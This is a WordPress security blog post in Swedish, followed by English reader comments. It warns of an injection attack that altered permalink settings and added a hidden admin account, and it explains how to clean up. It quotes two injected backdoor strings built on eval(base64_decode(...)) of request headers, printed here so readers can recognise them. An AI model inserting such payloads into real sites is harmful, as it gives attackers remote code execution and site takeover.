Många webbplatser har drabbats av en senaste SQL-attack där koder injiceras på din site. Denna MySQL-injektion påverkar dina permalänkar genom att göra dem ineffektiva. Som ett resultat kommer dina blogginläggs URL:er inte att fungera. Många WordPress bloggar var målet för denna attack, Tack till Andy Soward för att han uppmärksammade oss på detta.
Det var en av följande koder som lades till i din permalänkstruktur på grund av denna attack:
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%
“/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%
Dessa citat bifogade alla permalänkar på din site och det kan bara ändras om det tas bort manuellt.
För att fixa detta gå till:
Settings > Permalinks och ta bort koden ovan och ersätt den med din standardkod.
Nästa sak du behöver göra är att gå till Användare. Du kommer att se att det finns fler än en administratör. Du kommer inte att se deras namn listade, men du kommer att se att antalet har ökat. Så vad du behöver göra är att titta på alla användare och hitta den sista som registrerade sig. Sätt din mus över den användaren och få länken. Ändra koden userid= genom att lägga till 1 till det numret. Så om den sista användaren som du kan se var användare nr 2, lägg till 1 till den och gör den till 3. Du bör hitta den dolda administratören har en konstig kod som förnamn. Delete koden och gör honom till en prenumerant. Återvänd sedan och ta bort honom.
Detta bör fixa problemet. Du kan också ta bort honom genom att helt enkelt gå till din PHPMyAdmin. Eftersom du kommer att se användaren där.
Vi ville bara få ut den här nyheten så snart vi kan, så att våra användare kan uppdateras. Vänligen se till att du kontrollerar att din blogg inte är infekterad. Vi hoppas att WordPress kommer ut med en release snart.
Även om du inte har implementerat några av dessa åtgärder för att säkra din WordPress Admin Area.
Syed Balkhi says
Hey WPBeginner readers,
Did you know you can win exciting prizes by commenting on WPBeginner?
Every month, our top blog commenters will win HUGE rewards, including premium WordPress plugin licenses and cash prizes.
You can get more details about the contest from here.
Start sharing your thoughts below to stand a chance to win!
ahmed_alaaedin says
The database of my website has been injected few days ago, adding some strange characters and words after each post or page URL. I couldn’t find anything strange in the settings: permalinks or in the users menu. What to do to fix this problem, please? My hosting company has a backup of the infected database as well!
a wordpress user says
i was hit by this twice.
first time it was wassup plugin sql injection, this time im not sure. my hosting provider has blocked me.
once they restore my a/c i will remove wordpres.. I have had it!
Editorial Staff says
Perhaps its not WordPress fault, maybe your hosting security is just not as good…
Administratör
Joey says
What did you figure out with this? I was just hit with same issue. All my WP sites on my account are suffering the same problem.
lerrkin says
Hi.
Interesting url https://www.wpbeginner.com/wp-tutorials/11-vital-tips-and-hacks-to-protect-your-wordpress-admin-area/ linked from here shows blank page.
Code contains this comment: ’’.
That’s WP Super Cache’s bug http://wordpress.org/support/topic/315446, and it seems present here… So update WP Super Cache, please. I hope read that tips soon
Editorial Staff says
We really appreciate this comment, the issue was not with the WP Super Cache, we believe it was the plugin called WP External Link. We uninstalled and reinstalled WP-Super Cache twice, but then we compared the development server where everything worked fine. The difference was this plugin. When we removed that plugin it worked. You may now read that post.
Administratör
lerrkin says
Maybe that was WP External Link and Super Cache conflict…
Text was ”Page not cached by WP Super Cache. No closing HTML tag. Check your theme”.
I see my pasted WP-Super-Cache html comment above works as html comment and is invisible
So last Super Cache ver. promises to do not html validity check.
Oh, I’m reading!
Thanks a lot!
Roseli A. Bakar says
Thanks for highlighting this